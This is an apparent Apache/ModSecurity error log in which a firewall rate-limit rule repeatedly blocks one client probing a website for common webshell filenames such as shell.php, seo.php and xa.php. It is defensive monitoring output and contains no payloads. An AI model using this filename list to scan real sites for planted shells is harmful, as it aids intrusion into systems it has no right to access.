[Tue Apr 28 19:48:37.450761 2026] [:error] [pid 2741:tid 2750] [client 68.221.203.83:57183] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "afCelfp92FeOz1h6ILznfgAAAUQ"]
[Tue Apr 28 19:48:38.037510 2026] [:error] [pid 2741:tid 2765] [client 68.221.203.83:8378] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afCelvp92FeOz1h6ILzngAAAAVM"]
[Tue Apr 28 19:48:39.019340 2026] [:error] [pid 2741:tid 2766] [client 68.221.203.83:20735] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afCel_p92FeOz1h6ILznggAAAVQ"]
[Tue Apr 28 19:48:39.818589 2026] [:error] [pid 33777:tid 33838] [client 68.221.203.83:20701] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afCel7XUCFWqmordGGLR2QAAAQM"]
[Tue Apr 28 19:48:40.616791 2026] [:error] [pid 33777:tid 33839] [client 68.221.203.83:23153] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "afCemLXUCFWqmordGGLR2wAAAQQ"]
[Tue Apr 28 19:48:41.508557 2026] [:error] [pid 33777:tid 33844] [client 68.221.203.83:8346] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afCembXUCFWqmordGGLR4gAAAQk"]
[Tue Apr 28 19:48:42.279855 2026] [:error] [pid 50889:tid 50913] [client 68.221.203.83:23122] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afCemozszBr00txEzGg-4QAAABU"]
[Tue Apr 28 19:48:42.904109 2026] [:error] [pid 33777:tid 33838] [client 68.221.203.83:57202] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afCemrXUCFWqmordGGLR6QAAAQM"]
[Tue Apr 28 19:48:43.465918 2026] [:error] [pid 33864:tid 33890] [client 68.221.203.83:57826] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/"] [unique_id "afCemzXchLGZ4QggCskaLgAAAJg"]
[Tue Apr 28 19:48:44.048578 2026] [:error] [pid 33777:tid 33857] [client 68.221.203.83:18619] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afCenLXUCFWqmordGGLR7AAAARY"]
[Tue Apr 28 19:48:44.567707 2026] [:error] [pid 33776:tid 33815] [client 68.221.203.83:20689] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afCenF-bEJ2CKP3iKAAt4AAAAEc"]
[Tue Apr 28 19:48:45.171758 2026] [:error] [pid 33775:tid 33802] [client 68.221.203.83:18618] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afCenZsYOcoQrq88YbUpqgAAANc"]
[Tue Apr 28 19:48:45.712803 2026] [:error] [pid 33777:tid 33843] [client 68.221.203.83:8331] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "afCenbXUCFWqmordGGLR8AAAAQg"]
[Tue Apr 28 19:48:46.219380 2026] [:error] [pid 33777:tid 33837] [client 68.221.203.83:20623] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afCenrXUCFWqmordGGLR8QAAAQI"]
[Tue Apr 28 19:48:46.826848 2026] [:error] [pid 33775:tid 33795] [client 68.221.203.83:20690] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afCenpsYOcoQrq88YbUprAAAANA"]
[Tue Apr 28 19:48:47.457934 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:20612] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afCen7XUCFWqmordGGLR8gAAAQ0"]
[Tue Apr 28 19:48:47.987821 2026] [:error] [pid 33777:tid 33857] [client 68.221.203.83:57822] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shell.php"] [unique_id "afCen7XUCFWqmordGGLR8wAAARY"]
[Tue Apr 28 19:48:48.525391 2026] [:error] [pid 33775:tid 33797] [client 68.221.203.83:20652] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afCeoJsYOcoQrq88YbUpsAAAANI"]
[Tue Apr 28 19:48:49.123174 2026] [:error] [pid 33777:tid 33853] [client 68.221.203.83:57843] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afCeobXUCFWqmordGGLR9wAAARI"]
[Tue Apr 28 19:48:49.763430 2026] [:error] [pid 33777:tid 33858] [client 68.221.203.83:18580] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afCeobXUCFWqmordGGLR-AAAARc"]
[Tue Apr 28 19:48:50.456715 2026] [:error] [pid 33777:tid 33843] [client 68.221.203.83:20697] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "afCeorXUCFWqmordGGLR-gAAAQg"]
[Tue Apr 28 19:48:51.057589 2026] [:error] [pid 33777:tid 33837] [client 68.221.203.83:16048] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afCeo7XUCFWqmordGGLR-wAAAQI"]
[Tue Apr 28 19:48:51.721834 2026] [:error] [pid 33777:tid 33848] [client 68.221.203.83:20722] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afCeo7XUCFWqmordGGLR_gAAAQ0"]
[Tue Apr 28 19:48:52.322061 2026] [:error] [pid 33777:tid 33852] [client 68.221.203.83:8343] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afCepLXUCFWqmordGGLR_wAAARE"]
[Tue Apr 28 19:48:52.916909 2026] [:error] [pid 33776:tid 33808] [client 68.221.203.83:57215] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "afCepF-bEJ2CKP3iKAAt6wAAAEA"]
[Tue Apr 28 19:48:53.433967 2026] [:error] [pid 33775:tid 33779] [client 68.221.203.83:57846] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afCepZsYOcoQrq88YbUpsQAAAMA"]
[Tue Apr 28 19:48:54.199218 2026] [:error] [pid 50889:tid 50916] [client 68.221.203.83:24939] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afCepozszBr00txEzGg-8QAAABg"]
[Tue Apr 28 19:48:54.928145 2026] [:error] [pid 33776:tid 33823] [client 68.221.203.83:57854] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afCepl-bEJ2CKP3iKAAt8QAAAE8"]
[Tue Apr 28 19:48:55.468439 2026] [:error] [pid 33864:tid 33870] [client 68.221.203.83:57796] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "afCepzXchLGZ4QggCskaMQAAAIQ"]
[Tue Apr 28 19:49:02.959432 2026] [:error] [pid 33776:tid 33825] [client 68.221.203.83:20681] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "afCerl-bEJ2CKP3iKAAuFgAAAFE"]
[Tue Apr 28 19:49:03.524738 2026] [:error] [pid 2741:tid 2747] [client 68.221.203.83:20657] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "afCer_p92FeOz1h6ILzniAAAAUE"]
[Tue Apr 28 19:49:04.028447 2026] [:error] [pid 33864:tid 33888] [client 68.221.203.83:57200] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "afCesDXchLGZ4QggCskaNgAAAJY"]
[Tue Apr 28 19:49:04.630858 2026] [:error] [pid 2741:tid 2760] [client 68.221.203.83:20720] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "afCesPp92FeOz1h6ILzniQAAAU4"]
[Tue Apr 28 19:49:05.225542 2026] [:error] [pid 2741:tid 2764] [client 68.221.203.83:8381] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "afCesfp92FeOz1h6ILzniwAAAVI"]
[Tue Apr 28 19:49:05.891421 2026] [:error] [pid 2741:tid 2756] [client 68.221.203.83:8332] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "afCesfp92FeOz1h6ILznjAAAAUo"]
[Tue Apr 28 19:49:06.494298 2026] [:error] [pid 33777:tid 33852] [client 68.221.203.83:23125] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "afCesrXUCFWqmordGGLSDAAAARE"]
[Tue Apr 28 19:49:07.118039 2026] [:error] [pid 50889:tid 50903] [client 68.221.203.83:20711] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/no18.php"] [unique_id "afCes4zszBr00txEzGg_EQAAAAs"]
[Tue Apr 28 19:49:07.738948 2026] [:error] [pid 33777:tid 33851] [client 68.221.203.83:23110] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "afCes7XUCFWqmordGGLSHwAAARA"]
[Tue Apr 28 19:49:08.323994 2026] [:error] [pid 33777:tid 33858] [client 68.221.203.83:20685] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "afCetLXUCFWqmordGGLSIAAAARc"]
[Tue Apr 28 19:49:08.915524 2026] [:error] [pid 33777:tid 33839] [client 68.221.203.83:18569] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "afCetLXUCFWqmordGGLSIQAAAQQ"]
[Tue Apr 28 19:49:09.457018 2026] [:error] [pid 33777:tid 33856] [client 68.221.203.83:23108] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fine.php"] [unique_id "afCetbXUCFWqmordGGLSIgAAARU"]
[Tue Apr 28 19:49:10.204527 2026] [:error] [pid 33777:tid 33854] [client 68.221.203.83:57816] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "afCetrXUCFWqmordGGLSIwAAARM"]
[Tue Apr 28 19:49:10.790439 2026] [:error] [pid 33777:tid 33845] [client 68.221.203.83:21802] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "afCetrXUCFWqmordGGLSJAAAAQo"]
[Tue Apr 28 19:49:11.345436 2026] [:error] [pid 2741:tid 2752] [client 68.221.203.83:57164] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "afCet_p92FeOz1h6ILznjwAAAUY"]
[Tue Apr 28 19:49:12.015534 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:57155] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hplfuns.php"] [unique_id "afCeuPp92FeOz1h6ILznkwAAAUs"]
[Tue Apr 28 19:49:12.683465 2026] [:error] [pid 2741:tid 2764] [client 68.221.203.83:24952] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "afCeuPp92FeOz1h6ILznlQAAAVI"]
[Tue Apr 28 19:49:13.536308 2026] [:error] [pid 33777:tid 33852] [client 68.221.203.83:57841] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "afCeubXUCFWqmordGGLSKQAAARE"]
[Tue Apr 28 19:49:14.268739 2026] [:error] [pid 2741:tid 2756] [client 68.221.203.83:23167] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "afCeuvp92FeOz1h6ILznmAAAAUo"]
[Tue Apr 28 19:49:15.113979 2026] [:error] [pid 33777:tid 33835] [client 68.221.203.83:20700] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "afCeu7XUCFWqmordGGLSLAAAAQA"]
[Tue Apr 28 19:49:15.956510 2026] [:error] [pid 33776:tid 33827] [client 68.221.203.83:24910] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "afCeu1-bEJ2CKP3iKAAuNQAAAFM"]
[Tue Apr 28 19:49:16.733305 2026] [:error] [pid 2741:tid 2766] [client 68.221.203.83:20650] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "afCevPp92FeOz1h6ILznnAAAAVQ"]
[Tue Apr 28 19:49:17.360272 2026] [:error] [pid 33776:tid 33812] [client 68.221.203.83:20638] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "afCevV-bEJ2CKP3iKAAuOAAAAEQ"]
[Tue Apr 28 19:49:17.901658 2026] [:error] [pid 33776:tid 33821] [client 68.221.203.83:57841] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "afCevV-bEJ2CKP3iKAAuOgAAAE0"]
[Tue Apr 28 19:49:18.647967 2026] [:error] [pid 2741:tid 2751] [client 68.221.203.83:17647] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "afCevvp92FeOz1h6ILznnwAAAUU"]
[Tue Apr 28 19:49:19.259421 2026] [:error] [pid 33775:tid 33795] [client 68.221.203.83:57806] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "afCev5sYOcoQrq88YbUpvwAAANA"]
[Tue Apr 28 19:49:19.907306 2026] [:error] [pid 2741:tid 2757] [client 68.221.203.83:57162] [client 68.221.203.83] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "afCev_p92FeOz1h6ILznoQAAAUs"]
